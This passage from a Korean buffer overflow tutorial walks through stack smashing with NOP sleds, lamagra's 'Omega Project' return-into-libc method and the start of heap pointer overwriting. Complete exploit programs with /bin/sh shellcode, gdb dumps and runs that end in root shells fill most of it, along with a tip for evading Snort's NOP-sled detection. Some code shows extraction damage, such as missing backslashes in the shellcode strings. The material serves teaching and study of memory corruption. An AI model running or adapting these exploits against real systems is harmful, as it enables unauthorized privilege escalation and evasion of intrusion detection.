참고로 인텔 아키텍처에서 NOP 명령은 1바이트이며, 0x90으로 기계코드에서 변환된다. 그

래서 침임탐지 시스템인 snort는 일정 수 이상의 0x90의 패킷을 탐지하게 되면 오버플로우

공격으로 간주한다. 그래서 요즘은 침입탐지 시스템을 우회하기 위해 NOP 값을 0x90에서

0x2f로 변경한 경우도 있다. 아무튼 메모리는 다음과 같은 모습을 띄게 될 것이다.

FFFFF NNNNNNNNNNNSSSSSSSSSSSSSSAAAAAAAAFFFFFFFFF

N = NOP S = shellcode A = 쉘코드를 가리키는 주소 F = 다른 data

35

Page 36: Theory of Buffer Overflow · 2015. 1. 22. · 서 문 Theory of Buffer Overflow (버전 1.0)는 오버플로우 기법과 방어에 대해 종합적 으로 정리하고 이해하고자

이것을 바탕으로 다시 exploit를 작성해보자.

exploit2.c

______________________________________________________________________________________________

#include <stdlib.h>

#define DEFAULT_OFFSET 0

#define DEFAULT_BUFFER_SIZE 512

#define NOP 0x90

char shellcode[] =

"xebx1fx5ex89x76x08x31xc0x88x46x07x89x46x0cxb0x0b"

"x89xf3x8dx4ex08x8dx56x0cxcdx80x31xdbx89xd8x40xcd"

"x80xe8xdcxffxffxff/bin/sh";

unsigned long get_sp(void) {

__asm__("movl %esp,%eax");

}

void main(int argc, char *argv[])

{

char *buff, *ptr;

long *addr_ptr, addr;

int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;

int i;

if (argc > 1) bsize = atoi(argv[1]);

if (argc > 2) offset = atoi(argv[2]);

if (!(buff = malloc(bsize))) {

printf("Can't allocate memory.n");

exit(0);

}

addr = get_sp() - offset;

printf("Using address: 0x%xn", addr);

36

Page 37: Theory of Buffer Overflow · 2015. 1. 22. · 서 문 Theory of Buffer Overflow (버전 1.0)는 오버플로우 기법과 방어에 대해 종합적 으로 정리하고 이해하고자

ptr = buff;

addr_ptr = (long *) ptr;

for (i = 0; i < bsize; i+=4)

*(addr_ptr++) = addr;

for (i = 0; i < bsize/2; i++)

buff[i] = NOP;

ptr = buff + ((bsize/2) - (strlen(shellcode)/2));

for (i = 0; i < strlen(shellcode); i++)

*(ptr++) = shellcode[i];

buff[bsize - 1] = '';

memcpy(buff,"WOW=",4);

putenv(buff);

system("/bin/bash");

}

_____________________________________________________________________________________

버퍼 크기는 우리가 오버플로우 시키려는 버퍼의 크기보다 약 100 바이트 정도 더 많다.

$ exploit2 600

Using address: 0xbffff6c3

$ ./vul $WOW

segmentation fault

$ exploit2 600 100

Using address: 0xbffffce6

$ ./vul $WOW

#

쉘을 획득했다. 그런데 우리의 작업을 더욱 용이하게 하기 위해 환경변수 안에 쉘코드를 위

치시킬 수 있다. 그러면 우리는 이 변수의 주소로 버퍼를 오버플로우시킬 수 있게 된다. 이

것은 수고로움을 덜어줄 것이다. 다시 exploit를 수정해보자.

37

Page 38: Theory of Buffer Overflow · 2015. 1. 22. · 서 문 Theory of Buffer Overflow (버전 1.0)는 오버플로우 기법과 방어에 대해 종합적 으로 정리하고 이해하고자

exploit3.c

______________________________________________________________________________________________

#include <stdlib.h>

#define DEFAULT_OFFSET 0

#define DEFAULT_BUFFER_SIZE 512

#define DEFAULT_EGG_SIZE 2048

#define NOP 0x90

char shellcode[] =

"xebx1fx5ex89x76x08x31xc0x88x46x07x89x46x0cxb0x0b"

"x89xf3x8dx4ex08x8dx56x0cxcdx80x31xdbx89xd8x40xcd"

"x80xe8xdcxffxffxff/bin/sh";

unsigned long get_esp(void) {

__asm__("movl %esp,%eax");

}

void main(int argc, char *argv[])

{

char *buff, *ptr, *egg;

long *addr_ptr, addr;

int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;

int i, eggsize=DEFAULT_EGG_SIZE;

if (argc > 1) bsize = atoi(argv[1]);

if (argc > 2) offset = atoi(argv[2]);

if (argc > 3) eggsize = atoi(argv[3]);

if (!(buff = malloc(bsize))) {

printf("Can't allocate memory.n");

exit(0);

}

if (!(egg = malloc(eggsize))) {

38

Page 39: Theory of Buffer Overflow · 2015. 1. 22. · 서 문 Theory of Buffer Overflow (버전 1.0)는 오버플로우 기법과 방어에 대해 종합적 으로 정리하고 이해하고자

printf("Can't allocate memory.n");

exit(0);

}

addr = get_esp() - offset;

printf("Using address: 0x%xn", addr);

ptr = buff;

addr_ptr = (long *) ptr;

for (i = 0; i < bsize; i+=4)

*(addr_ptr++) = addr;

ptr = egg;

for (i = 0; i < eggsize - strlen(shellcode) - 1; i++)

*(ptr++) = NOP;

for (i = 0; i < strlen(shellcode); i++)

*(ptr++) = shellcode[i];

buff[bsize - 1] = '';

egg[eggsize - 1] = '';

memcpy(egg,"WOW=",4);

putenv(egg);

memcpy(buff,"RET=",4);

putenv(buff);

system("/bin/bash");

}

______________________________________________________________________________________________

$ exploit3 600

Using address: 0xbffff5d7

$ ./vul $RET

#

루트쉘을 획득했다. 지루한 과정을 거쳐 루트쉘을 획득하는 과정을 살펴보았다. 이 과정동

안 우리는 메모리의 구조에 대해서 공부했으며, 쉘코드를 작성하고, offset을 추측하여 공격

에 성공했다. 무엇보다 지루한 작업이 정확한 offset을 추측하는 것이었다. 그러면 이 지루

39

Page 40: Theory of Buffer Overflow · 2015. 1. 22. · 서 문 Theory of Buffer Overflow (버전 1.0)는 오버플로우 기법과 방어에 대해 종합적 으로 정리하고 이해하고자

한 과정을 극복할 수 있는 방법은 없는 것일까?

lamagra는 이 문제를 극복하기 위한 노력의 일환으로 COREZINE 5 을 통해 “Omega

Project”6를 발표했다. 다음 섹션에서는 오메가 프로젝트에 대해 알아보기로 한다.

2-2. 오메가 프로젝트

- OMEGA Project

오메가 프로젝트는 버퍼 오버플로우를 공격하는 새로운 방법을 제시하고 있다. 즉, offset을

추측하거나 쉘코드를 작성하지 않고서 버퍼 오버플로우 취약점을 공격하자는 것이다. 프로

그램은 실행시 라이브러리를 메모리 내부에 맵핑하게 되는데, 이때 모든 함수들은 그 자신

의 주소를 가지게 된다. 오메가 프로젝트는 쉘코드를 호출하지 않고 특정 함수를 호출하고,

덮어쓰여진 RET은 그 함수의 주소가 된다는 것이 오메가 프로젝트의 주요 내용이다. 이때

이 함수의 주소는 컴파일될 때 주어지며, 이 주소를 알아내는 방법이 필요하고, 취약함 프

로그램의 인자 주소를 “pushl”할 필요가 있다.

다음은 공격할 취약 프로그램이다.

vun.c

______________________________________________________________________________________________

#include <stdio.h>

#include <stdlib.h>

main(int argc, char **argv)

{

char buf[15];

if (argc != 2){

printf("No args?₩n");

exit(-1);

}

printf("%p₩n",system);

strcpy(buf,argv[1]);

printf("%s₩n",buf);

5 http://lamagra.digibel.be/ezine.html 6 http://lamagra.digibel.be/ezine/core02.html, http://lamagra.digibel.be/ezine/core03.html

40

Page 41: Theory of Buffer Overflow · 2015. 1. 22. · 서 문 Theory of Buffer Overflow (버전 1.0)는 오버플로우 기법과 방어에 대해 종합적 으로 정리하고 이해하고자

}

______________________________________________________________________________________________

$ gcc vun.c –o vun

이제 유용한 함수의 주소를 구할 필요가 있다. 이 함수들에는 system()과 exit() 등이 있으

며, system()은 쉘을 실행하기 위해, exit()는 데몬을 죽이기 위해 DoS 공격용으로 사용한다.

여러 방법들이 있지만 lamagra는 계산법을 사용한다. 취약한 프로그램의 어떤 함수의 주소

를 exploit에 주고, 그것은 필요한 주소를 계산한다. 주소를 구하기 위해 디버그(gdb)를 사

용한다.

$ gdb vun

GNU gdb 4.17.0.4 with Linux/x86 hardware watchpoint and FPU support

Copyright 1998 Free Software Foundation, Inc.

GDB is free software, covered by the GNU General Public License, and you are

welcome to change it and/or distribute copies of it under certain conditions.

Type "show copying" to see the conditions.

There is absolutely no warranty for GDB. Type "show warranty" for details.

This GDB was configured as "i386-redhat-linux"...

(no debugging symbols found)...

(gdb) disassemble _start

Dump of assembler code for function _start:

0x804845c <_start>: xorl %ebp,%ebp

0x804845e <_start+2>: testl %edx,%edx

0x8048460 <_start+4>: je 0x8048469 <_start+13>

0x8048462 <_start+6>: pushl %edx

0x8048463 <_start+7>: call 0x804843c <atexit>

0x8048468 <_start+12>: popl %eax

0x8048469 <_start+13>: call 0x804842c <__libc_init_first>

0x804846e <_start+18>: popl %esi

0x804846f <_start+19>: leal 0x4(%esp,%esi,4),%eax

0x8048473 <_start+23>: movl %eax,0x8049654

0x8048478 <_start+28>: movl %esp,%edx

0x804847a <_start+30>: andl $0xfffffff8,%esp

0x804847d <_start+33>: pushl %eax

0x804847e <_start+34>: pushl %eax

0x804847f <_start+35>: pushl %edx

41

Page 42: Theory of Buffer Overflow · 2015. 1. 22. · 서 문 Theory of Buffer Overflow (버전 1.0)는 오버플로우 기법과 방어에 대해 종합적 으로 정리하고 이해하고자

0x8048480 <_start+36>: pushl %esi

0x8048481 <_start+37>: call 0x80483c0 <_init>

0x8048486 <_start+42>: pushl $0x8048560

0x804848b <_start+47>: call 0x804843c <atexit>

0x8048490 <_start+52>: popl %eax

0x8048491 <_start+53>: call 0x80484d0 <_start+116>

0x8048496 <_start+58>: pushl %eax

0x8048497 <_start+59>: call 0x804844c <exit>

0x804849c <_start+64>: hlt

0x804849d <_start+65>: nop

0x804849e <_start+66>: nop

0x804849f <_start+67>: nop

0x80484a0 <_start+68>: pushl %ebp

0x80484a1 <_start+69>: movl %esp,%ebp

0x80484a3 <_start+71>: pushl %ebx

0x80484a4 <_start+72>: movl $0x80495a0,%ebx

0x80484a9 <_start+77>: cmpl $0x0,0x80495a0

0x80484b0 <_start+84>: je 0x80484c0 <_start+100>

0x80484b2 <_start+86>: movl %esi,%esi

0x80484b4 <_start+88>: movl (%ebx),%eax

0x80484b6 <_start+90>: call *%eax

0x80484b8 <_start+92>: addl $0x4,%ebx

0x80484bb <_start+95>: cmpl $0x0,(%ebx)

0x80484be <_start+98>: jne 0x80484b4 <_start+88>

0x80484c0 <_start+100>: movl 0xfffffffc(%ebp),%ebx

0x80484c3 <_start+103>: leave

0x80484c4 <_start+104>: ret

0x80484c5 <_start+105>: leal 0x0(%esi),%esi

0x80484c8 <_start+108>: pushl %ebp

0x80484c9 <_start+109>: movl %esp,%ebp

0x80484cb <_start+111>: leave

0x80484cc <_start+112>: ret

0x80484cd <_start+113>: nop

0x80484ce <_start+114>: nop

0x80484cf <_start+115>: nop

0x80484d0 <_start+116>: pushl %ebp

42

Page 43: Theory of Buffer Overflow · 2015. 1. 22. · 서 문 Theory of Buffer Overflow (버전 1.0)는 오버플로우 기법과 방어에 대해 종합적 으로 정리하고 이해하고자

0x80484d1 <_start+117>: movl %esp,%ebp

0x80484d3 <_start+119>: subl $0x10,%esp

0x80484d6 <_start+122>: cmpl $0x2,0x8(%ebp)

0x80484da <_start+126>: je 0x80484f4 <_start+152>

0x80484dc <_start+128>: pushl $0x804857c

0x80484e1 <_start+133>: call 0x804840c <printf>

0x80484e6 <_start+138>: addl $0x4,%esp

0x80484e9 <_start+141>: pushl $0xffffffff

0x80484eb <_start+143>: call 0x804844c <exit>

0x80484f0 <_start+148>: addl $0x4,%esp

0x80484f3 <_start+151>: nop

0x80484f4 <_start+152>: pushl $0x804841c

0x80484f9 <_start+157>: pushl $0x8048586

0x80484fe <_start+162>: call 0x804840c <printf>

0x8048503 <_start+167>: addl $0x8,%esp

0x8048506 <_start+170>: movl 0xc(%ebp),%eax

0x8048509 <_start+173>: addl $0x4,%eax

0x804850c <_start+176>: movl (%eax),%edx

0x804850e <_start+178>: pushl %edx

0x804850f <_start+179>: leal 0xfffffff0(%ebp),%eax

0x8048512 <_start+182>: pushl %eax

0x8048513 <_start+183>: call 0x80483fc <strcpy>

0x8048518 <_start+188>: addl $0x8,%esp

0x804851b <_start+191>: leal 0xfffffff0(%ebp),%eax

0x804851e <_start+194>: pushl %eax

0x804851f <_start+195>: pushl $0x804858a

0x8048524 <_start+200>: call 0x804840c <printf>

0x8048529 <_start+205>: addl $0x8,%esp

0x804852c <_start+208>: leave

0x804852d <_start+209>: ret

0x804852e <_start+210>: nop

0x804852f <_start+211>: nop

0x8048530 <_start+212>: pushl %ebp

0x8048531 <_start+213>: movl %esp,%ebp

0x8048533 <_start+215>: pushl %ebx

0x8048534 <_start+216>: movl $0x8049594,%ebx

43

Page 44: Theory of Buffer Overflow · 2015. 1. 22. · 서 문 Theory of Buffer Overflow (버전 1.0)는 오버플로우 기법과 방어에 대해 종합적 으로 정리하고 이해하고자

0x8048539 <_start+221>: cmpl $0xffffffff,0x8049594

0x8048540 <_start+228>: je 0x8048550 <_start+244>

0x8048542 <_start+230>: movl %esi,%esi

0x8048544 <_start+232>: movl (%ebx),%eax

0x8048546 <_start+234>: call *%eax

0x8048548 <_start+236>: addl $0xfffffffc,%ebx

0x804854b <_start+239>: cmpl $0xffffffff,(%ebx)

0x804854e <_start+242>: jne 0x8048544 <_start+232>

0x8048550 <_start+244>: movl 0xfffffffc(%ebp),%ebx

0x8048553 <_start+247>: leave

0x8048554 <_start+248>: ret

0x8048555 <_start+249>: leal 0x0(%esi),%esi

0x8048558 <_start+252>: pushl %ebp

0x8048559 <_start+253>: movl %esp,%ebp

0x804855b <_start+255>: leave

0x804855c <_start+256>: ret

0x804855d <_start+257>: nop

0x804855e <_start+258>: nop

0x804855f <_start+259>: nop

End of assembler dump.

(gdb) q

$

0x8048463을 자세히 보면 이것이 0x804843c에 있는 <printf> 함수를 호출한다는 것을 볼

수 있다. 이제 주소를 알게 되었으므로 exploit를 작성할 수 있게 되었다.

exploit.c by lamagra

______________________________________________________________________________________________

#include <stdio.h>

#include <stdlib.h>

#define ATEXIT 0x804843c

#define BSIZE 30

44

Page 45: Theory of Buffer Overflow · 2015. 1. 22. · 서 문 Theory of Buffer Overflow (버전 1.0)는 오버플로우 기법과 방어에 대해 종합적 으로 정리하고 이해하고자

main()

{

char buf[BSIZE];

long *ptr, addr,diff;

int i;

ptr = (long *)buf;

diff = (unsigned long)&atexit - (unsigned long)&system;

addr = ATEXIT - diff;

printf("calculated address = 0x%x₩n",addr);

for (i=0;i < BSIZE;i+=4)

*(ptr++) = addr;

execl("./vun","vun",buf,0x0);

}

______________________________________________________________________________________________

이 exploit은 그 자체의 메모리에 printf와 system 함수 사이의 차이를 계산할 수 있다. 취

약한 프로그램의 system() 주소는 이 차이점 때문에 계산된다. 이 exploit을 실행하게 되면

결과는 다음과 같다.

$ gcc –o sploit exploit.c

$ sploit

calculated address = 0x804841c

0x804841c

sh: 툞 h : command not found

sh: 호 : command not found

sh: 뾂 ?엶?옹?왱?욱?? command not found

sh: ? ? 퓑 퓡 퓴 연 예 왠 욕 욱 ? command not found

Segmentation fault (core dumped)

$

45

Page 46: Theory of Buffer Overflow · 2015. 1. 22. · 서 문 Theory of Buffer Overflow (버전 1.0)는 오버플로우 기법과 방어에 대해 종합적 으로 정리하고 이해하고자

주소가 정확하게 계산되었지만, system()는 스택으로부터 그것의 인자를 “pop1"하므로 에러

를 발생시킨다. 그래서 다시 exploit를 실행하는데, 이번엔 모든 그 에러를 파일 속에 반영

한다.

$ sploit 2> out

$

이제 그 파일명을 추출하는 프로그램을 작성하고, /bin/sh에 심볼릭 링크를 건다. 참고로

system() 대신 exit() 함수를 사용할 때는 필요하지 않다.

extract.c by lamagra

______________________________________________________________________________________________

#include <stdio.h>

#include <fcntl.h>

void main(int argc, char **argv)

{

FILE *fd;

int i;

char buf[512],filename[50];

char *extract;

if (argc != 2){

printf("usage: %s <file>₩n",argv[0]);

exit(-1);

}

fd = fopen(argv[1],"r");

fgets(buf,512,fd);

extract = strrchr(buf,':');

*extract = 0x0;

extract = strchr(buf,':');

strcpy(filename,extract+2);

printf("filename = %s₩n",filename);

fclose(fd);

46

Page 47: Theory of Buffer Overflow · 2015. 1. 22. · 서 문 Theory of Buffer Overflow (버전 1.0)는 오버플로우 기법과 방어에 대해 종합적 으로 정리하고 이해하고자

symlink("/tmp/sh",filename);

}

______________________________________________________________________________________________

/bin/sh로부터 그 파일명에 symlink.를 만들기 위해 프로그램을 실행한다.

$ gcc extract.c -o extract

$ extract out

$

우리는 다시 프로그램을 실행하고, 쉘을 얻었다.

$ sploit

calculated address = 0x804841c

0x804841c

$

- OMEGA Project Finished

overflow를 고찰하기 위해 다음 프로그램을 예로 살펴보자.

example.c by lamagra

______________________________________________________________________________________________

void foo(char *bla)

{

printf("I got passed %p₩n",bla);

}

void main()

{

foo("fubar");

}

______________________________________________________________________________________________

47

Page 48: Theory of Buffer Overflow · 2015. 1. 22. · 서 문 Theory of Buffer Overflow (버전 1.0)는 오버플로우 기법과 방어에 대해 종합적 으로 정리하고 이해하고자

컴파일하고 gdb를 구동해보자.

$ gcc example.c -o example

$ gdb example

GNU gdb 4.17

Copyright 1998 Free Software Foundation, Inc.

GDB is free software, covered by the GNU General Public License, and you are

welcome to change it and/or distribute copies of it under certain conditions.

Type "show copying" to see the conditions.

There is absolutely no warranty for GDB. Type "show warranty" for details.

This GDB was configured as "i586-slackware-linux"...

(gdb) disassemble main

Dump of assembler code for function main:

0x8048594 <main>: pushl %ebp

0x8048595 <main+1>: movl %esp,%ebp

0x8048597 <main+3>: pushl $0x8049099

0x804859c <main+8>: call 0x804857c <foo>

0x80485a1 <main+13>: addl $0x4,%esp

0x80485a4 <main+16>: movl %ebp,%esp

0x80485a6 <main+18>: popl %ebp

0x80485a7 <main+19>: ret

End of assembler dump.

(gdb) x/5bc 0x8049099

0x8049099 <_fini+25>: 102 'f' 117 'u' 98 'b' 97 'a' 114 'r'

(gdb) disassemble foo

Dump of assembler code for function foo:

0x804857c <foo>: pushl %ebp

0x804857d <foo+1>: movl %esp,%ebp

0x804857f <foo+3>: movl 0x8(%ebp),%eax

0x8048582 <foo+6>: pushl %eax

0x8048583 <foo+7>: pushl $0x8049088

0x8048588 <foo+12>: call 0x8048400 <printf>

0x804858d <foo+17>: addl $0x8,%esp

0x8048590 <foo+20>: movl %ebp,%esp

0x8048592 <foo+22>: popl %ebp

48

Page 49: Theory of Buffer Overflow · 2015. 1. 22. · 서 문 Theory of Buffer Overflow (버전 1.0)는 오버플로우 기법과 방어에 대해 종합적 으로 정리하고 이해하고자

0x8048593 <foo+23>: ret

End of assembler dump.

(gdb) quit

$

우리는 "fubar" 문자열의 주소가 0x8048597의 스택에 push되는 것을 볼 수 있다. 그런 다

음 foo 함수가 호출되었다(0x804859c). 0x804857f에서 볼 수 있듯이 초기화된 후 foo()는

push된 주소를 eax 레지스트 속으로 로딩한다. 이 주소는 0x8(%ebp)에 위치하고, ebp는

현재의 스택 포인터이다.

구현을 위해 이전의 것을 염두에 두고 작은 테스트용 프로그램을 작성한다.

test.c by lamagra

______________________________________________________________________________________________

/*

* A small test program for project "omega"

* Lamagra <[email protected]>

*/

foo(char *bla)

{

printf("foo: %p₩n",bla);

printf("foo: %s ₩n",bla);

}

main()

{

char bla[8];

char *shell = "/bin/sh";

long addy = 0x41414141;

printf("foo = 0x%x₩n",(long)&foo);

printf("bla = 0x%x₩n",(long)&bla);

printf("shell = 0x%x₩n",shell);

49

Page 50: Theory of Buffer Overflow · 2015. 1. 22. · 서 문 Theory of Buffer Overflow (버전 1.0)는 오버플로우 기법과 방어에 대해 종합적 으로 정리하고 이해하고자

*(long *)&bla[0] = addy; /* buffer */

*(long *)&bla[4] = addy; /* buffer */

*(long *)&bla[8] = addy; /* 저장된 ebp */

*(long *)&bla[12] = &foo; /* 저장된 eip */

*(long *)&bla[16] = addy; /* Junk */

*(long *)&bla[20] = shell; /* arg의 주소 */

}

______________________________________________________________________________________________

이제 컴파일 하고 실행해보자.

$ gcc test.c -otest

$ test

foo = 0x804857c

bla = 0xbffffb08

shell = 0x8049111

foo: 0x8049111

foo: /bin/sh

segmentation fault

$

foo 함수가 호출되고, 그것의 인자는 정확하게 위치했다. 하지만 실행한 후에

segmentation fault를 일으켰다. 그러니 디버깅을 해보고 이유를 찾아보자.

$ gdb test

GNU gdb 4.17

Copyright 1998 Free Software Foundation, Inc.

GDB is free software, covered by the GNU General Public License, and you are

welcome to change it and/or distribute copies of it under certain conditions.

Type "show copying" to see the conditions.

There is absolutely no warranty for GDB. Type "show warranty" for details.

This GDB was configured as "i586-slackware-linux"...

(gdb) break *foo

Breakpoint 1 at 0x804857c

50

Page 51: Theory of Buffer Overflow · 2015. 1. 22. · 서 문 Theory of Buffer Overflow (버전 1.0)는 오버플로우 기법과 방어에 대해 종합적 으로 정리하고 이해하고자

(gdb) run

Starting program: /tmp/omega/hello

foo = 0x804857c

bla = 0xbffffb10

shell = 0x8049111

Breakpoint 1, 0x804857c in foo ()

(gdb) x/10wx 0xbffffb10

0xbffffb10: 0x41414141 0x41414141 0x41414141 0x0804857c

0xbffffb20: 0x41414141 0x08049111 0xbffffb44 0x00000000

0xbffffb30: 0x00000000 0x00000000

(gdb) c

Continuing.

foo: 0x8049111

foo: /bin/sh

Program received signal SIGSEGV, Segmentation fault.

0x41414141 in ?? ()

(gdb) info reg ebp

ebp 0x41414141 0x41414141

(gdb) info reg esp

esp 0xbffffb24 0xbffffb24

(gdb) quit

The program is running. Exit anyway? (y or n) y

$

버퍼 “bla"의 dumb은 우리의 의도를 분명하게 보여준다. Segmentation fault는 프로그램이

0x41414141를 실행하려고 했기 때문에 발생한다. 그 주소는 0xbffffb20에 있다. foo()로부

터 리턴될 때 ebp와 eip는 esp에 의해 포인터 된 위치에서 스택으로부터 pop된다. 만약

우리가 Segmentation fault를 해결하고자 원한다면 다른 주소를 입력할 수 있을지도 모른

다.(예. exit()). 그러면 그것은 깔끔하게 종결(exit)될 수 있다.

이 문제를 해결하기 위해 다음 패치를 적용해보자. (patch test.c test.patch).

51

Page 52: Theory of Buffer Overflow · 2015. 1. 22. · 서 문 Theory of Buffer Overflow (버전 1.0)는 오버플로우 기법과 방어에 대해 종합적 으로 정리하고 이해하고자

test.patch

--- old.c Wed Oct 6 18:49:07 1999

+++ test.c Wed Oct 6 18:49:25 1999

@@ -19,6 +19,6 @@

*(long *)&bla[4] = addr; /* buffer */

*(long *)&bla[8] = addr; /* saved ebp */

*(long *)&bla[12] = &foo; /* saved eip */

- *(long *)&bla[16] = addr; /* Junk */

+ *(long *)&bla[16] = &exit; /* exit() */

*(long *)&bla[20] = shell; /* address of the arg */

}

다른 많은 인자에 대해서도 같은 방법이 적용될 수 있다.

0x8(%ebp) = arg[1]

0xc(%ebp) = arg[2]

0x10(%ebp) = arg[3]

and so on.

multiple.c by lamagra

______________________________________________________________________________________________

#include <stdlib.h>

#include <unistd.h>

main()

{

char bla[8];

char *shell = "/bin/sh";

long addr = 0x41414141;

printf("bla = 0x%x₩n",(long)&bla);

printf("shell = 0x%x₩n",shell);

*(long *)&bla[0] = addr; /* buffer */

*(long *)&bla[4] = addr; /* buffer */

*(long *)&bla[8] = addr; /* saved ebp */

52

Page 53: Theory of Buffer Overflow · 2015. 1. 22. · 서 문 Theory of Buffer Overflow (버전 1.0)는 오버플로우 기법과 방어에 대해 종합적 으로 정리하고 이해하고자

*(long *)&bla[12] = &execl; /* saved eip */

*(long *)&bla[16] = &exit; /* exit() */

*(long *)&bla[20] = shell; /* arg[1] */

*(long *)&bla[24] = shell; /* arg[2] */

*(long *)&bla[28] = 0x0; /* arg[3] */

/*

* Executes execl("/bin/sh","/bin/sh",0x0);

* On error exit("/bin/sh"); i know weird */

*/

}

______________________________________________________________________________________________

이제 우리는 안전한 환경에서 버퍼 오버플로우를 익스플로잇할 수 있게 되었다.

hole.c

______________________________________________________________________________________________

/*

* 취약한 프로그램.

* libc의 system() 주소를 프린터하고 오버플로우한다.

*/

#include <stdlib.h>

#include <dlfcn.h>

main(int argc, char **argv)

{

char buf[8];

long addr;

void *handle;

handle = dlopen(NULL,RTLD_LAZY);

addr = (long)dlsym(handle,"system");

printf("System() is at 0x%x₩n",addr);

if(argc > 1) strcpy(buf, argv[1]);

}

______________________________________________________________________________________________

53

Page 54: Theory of Buffer Overflow · 2015. 1. 22. · 서 문 Theory of Buffer Overflow (버전 1.0)는 오버플로우 기법과 방어에 대해 종합적 으로 정리하고 이해하고자

exploit.c by lamagra

______________________________________________________________________________________________

/*

* 이 exploit는 libc의 system()의 주소를 발견하고,

* system()의 이웃에 있는 “/bin/sh”의 주소를 찾는다.

* (system()은 그 문자열을 사용한다.)

* Lamagra <[email protected]>

*/

#include <stdlib.h>

#include <dlfcn.h>

main(int argc, char **argv)

{

int x,size;

char *buf;

long addr,shell,exitaddy;

void *handle;

if(argc != 3){

printf("Usage %s <bufsize> <program>₩n",argv[0]);

exit(-1);

}

size = atoi(argv[1])+16;

if((buf = malloc(size)) == NULL){

perror("can't allocate memory");

exit(-1);

}

handle = dlopen(NULL,RTLD_LAZY);

addr = (long)dlsym(handle,"system");

printf("System() is at 0x%x₩n",addr);

if(!(addr & 0xff) || !(addr & 0xff00) ||

!(addr & 0xff0000) || !(addr & 0xff000000))

54

Page 55: Theory of Buffer Overflow · 2015. 1. 22. · 서 문 Theory of Buffer Overflow (버전 1.0)는 오버플로우 기법과 방어에 대해 종합적 으로 정리하고 이해하고자

{

printf("system() contains a '0', sorry!");

exit(-1);

}

shell = addr;

while(memcmp((void*)shell,"/bin/sh",8))

shell++;

printf("₩"/bin/sh₩" is at 0x%x₩n",shell);

printf("print %s₩n",shell);

memset(buf,0x41,size);

*(long *)&buf[size-16] = 0xbffffbbc;

*(long *)&buf[size-12] = addr;

*(long *)&buf[size-4] = shell;

puts("Executing");

execl(argv[2],argv[2],buf,0x0);

}

______________________________________________________________________________________________

$ gcc hole.c -ohole -ldl

$ gcc omega.c -oomega -ldl

$ omega 8 vun

System() is at 0x40043a18

"/bin/sh" is at 0x40089d26

print /bin/sh

Executing

System() is at 0x40043a18

bash#

여기서는 제대로 작동하는 것처럼 보인다. 그런데 여기에는 특별한 라이브러리가 링크되어

있다. 만약 특정 라이브러리가 링크되어 있지 않은 프로그램에서는 작동하지 않을 수 있다.

이것은 system()의 위치가 다르기 때문이다.

55

Page 56: Theory of Buffer Overflow · 2015. 1. 22. · 서 문 Theory of Buffer Overflow (버전 1.0)는 오버플로우 기법과 방어에 대해 종합적 으로 정리하고 이해하고자

다음은 lamagra가 제시한 정확한 주소를 구하는 방법이다.

• 프로그램이 주소를 출력하도록 변경시킨다.

• ELF-헤더로부터 주소를 구한다.

(이것은 손상된 파일에는 작동하지 않으며, 이에 대한 해결책은 재컴파일 하는 것이다.)

• atexit()의 주소를 구하고, system()의 주소를 계산한다. 아래의 프로그램을 참고해라.

calc.c by lamagra

______________________________________________________________________________________________

#include <stdlib.h>

#include <unistd.h>

main(int argc, char **argv)

{

long addy,diff;

if (argc != 2)

{

printf("Usage: %s <addy of atexit>₩n",argv[0]);

printf("Get the address with GDB₩n₩t$ echo x atexit|gdb program₩n");

exit(-1);

}

addy = strtoul(argv[1],0,0);

printf("Input = 0x%x₩n",addy);

diff = (long)&atexit - (long)&system;

printf("system() = 0x%x₩n",addy - diff + 16);

}

---------------------------------------------------------------------------

56

Page 57: Theory of Buffer Overflow · 2015. 1. 22. · 서 문 Theory of Buffer Overflow (버전 1.0)는 오버플로우 기법과 방어에 대해 종합적 으로 정리하고 이해하고자

2-3. heap overflow

메모리에 로드 된 프로세스의 가장 낮은 주소를 살펴보면 다음 섹션이 있다는 것을 알 수

있다. 앞에서 스택 부분을 다룰 때는 heap 부분을 빼고 살펴보았는데, 이제 heap 부분을

포함해서 살펴보기로 하자.

• text: 프로세스의 코드를 포함

• data: 초기화된 데이터들을 포함 (static이 붙은 전역 또는 지역 변수)

• bss: 초기화되지 않은 데이터를 포함 (static이 붙은 전역 또는 지역 변수)

• heap: 실행시 동적으로 할당되는 메모리 포함

heap 기반의 버퍼 오버플로우는 스택 기반의 버퍼 오버플로우보다 덜 보고되어 왔다. 이것

에 대해서는 다음과 같은 이유들이 있을 수 있다.

• 스택 오버플로우보다 목표를 이루기가 더 어렵다.

• 함수 포인터 덮어쓰기, Vtable 덮어쓰기, malloc 라이브러리의 취약점 공격이라는 몇 가지

테크닉에 기반하기 때문에.

• 메모리에 있는 프로세스의 구조에 대한 몇 가지 선결 조건들을 요구한다.

이런 어려움 때문에 힙 기반의 오버플로우 방법들을 포기해서는 안된다. 왜냐하면 이 방법

들은 LibSafe, StackGuard와 같은 방어방법을 우회7하는데 사용되는 해결책들이 될 수 있기

때문이다.

이제부터 힙 기반의 오버플로우 기법들에 대해서 알아보도록 하자.

2-3-1. 포인터 덮어쓰기

공격자는 힙 오버플로우 기법을 이용해 파일명, 패스워드, uid 등을 덮어쓸 수 있다. 그런데

이런 종류의 공격은 취약한 바이너리의 소스 코드에 선행 조건을 필요로 한다. 그 선행조건

은 버퍼가 선언되거나 정의되어야 하고, 그 다음 포인터가 선언되거나 정의되어야 한다. 이

것의 예를 하나 보자.

int main(int argc, char **argv)

{

FILE *tmpfd;

7 Phrack에 발표된 Bulba and Kil3r, “Bypassing StackGuard and StackShield” 를 참고하길 바란다.

57

Page 58: Theory of Buffer Overflow · 2015. 1. 22. · 서 문 Theory of Buffer Overflow (버전 1.0)는 오버플로우 기법과 방어에 대해 종합적 으로 정리하고 이해하고자

static char buf[BUFSIZE];

static char *tmpfile;

버퍼(buf)와 포인터(tmpfile)는 둘다 bss 세그먼트와 data 세그먼트에 있을 수 있고, 또는

둘 다 heap 세그먼트에 있을 수 있다. 그리고 버퍼가 bss 세그먼트에, 포인터는 data 세그

먼트에 있을 수 있다. 이 순서는 스택과는 반대로 힙이 위쪽으로 자라기 때문에 중요하다.

그래서 만약 포인터를 덮어쓰고자 한다면 오버플로우된 버퍼 다음에 위치해야 한다.

주된 어려움은 앞에서 언급된 두 가지의 선행조건을 각각 충족시키는 프로그램을 찾기가 어

렵다는 것이다. 또 다른 하나의 어려움은 argv[1]의 주소를 찾는 것이다.(만약 어떤 파일의

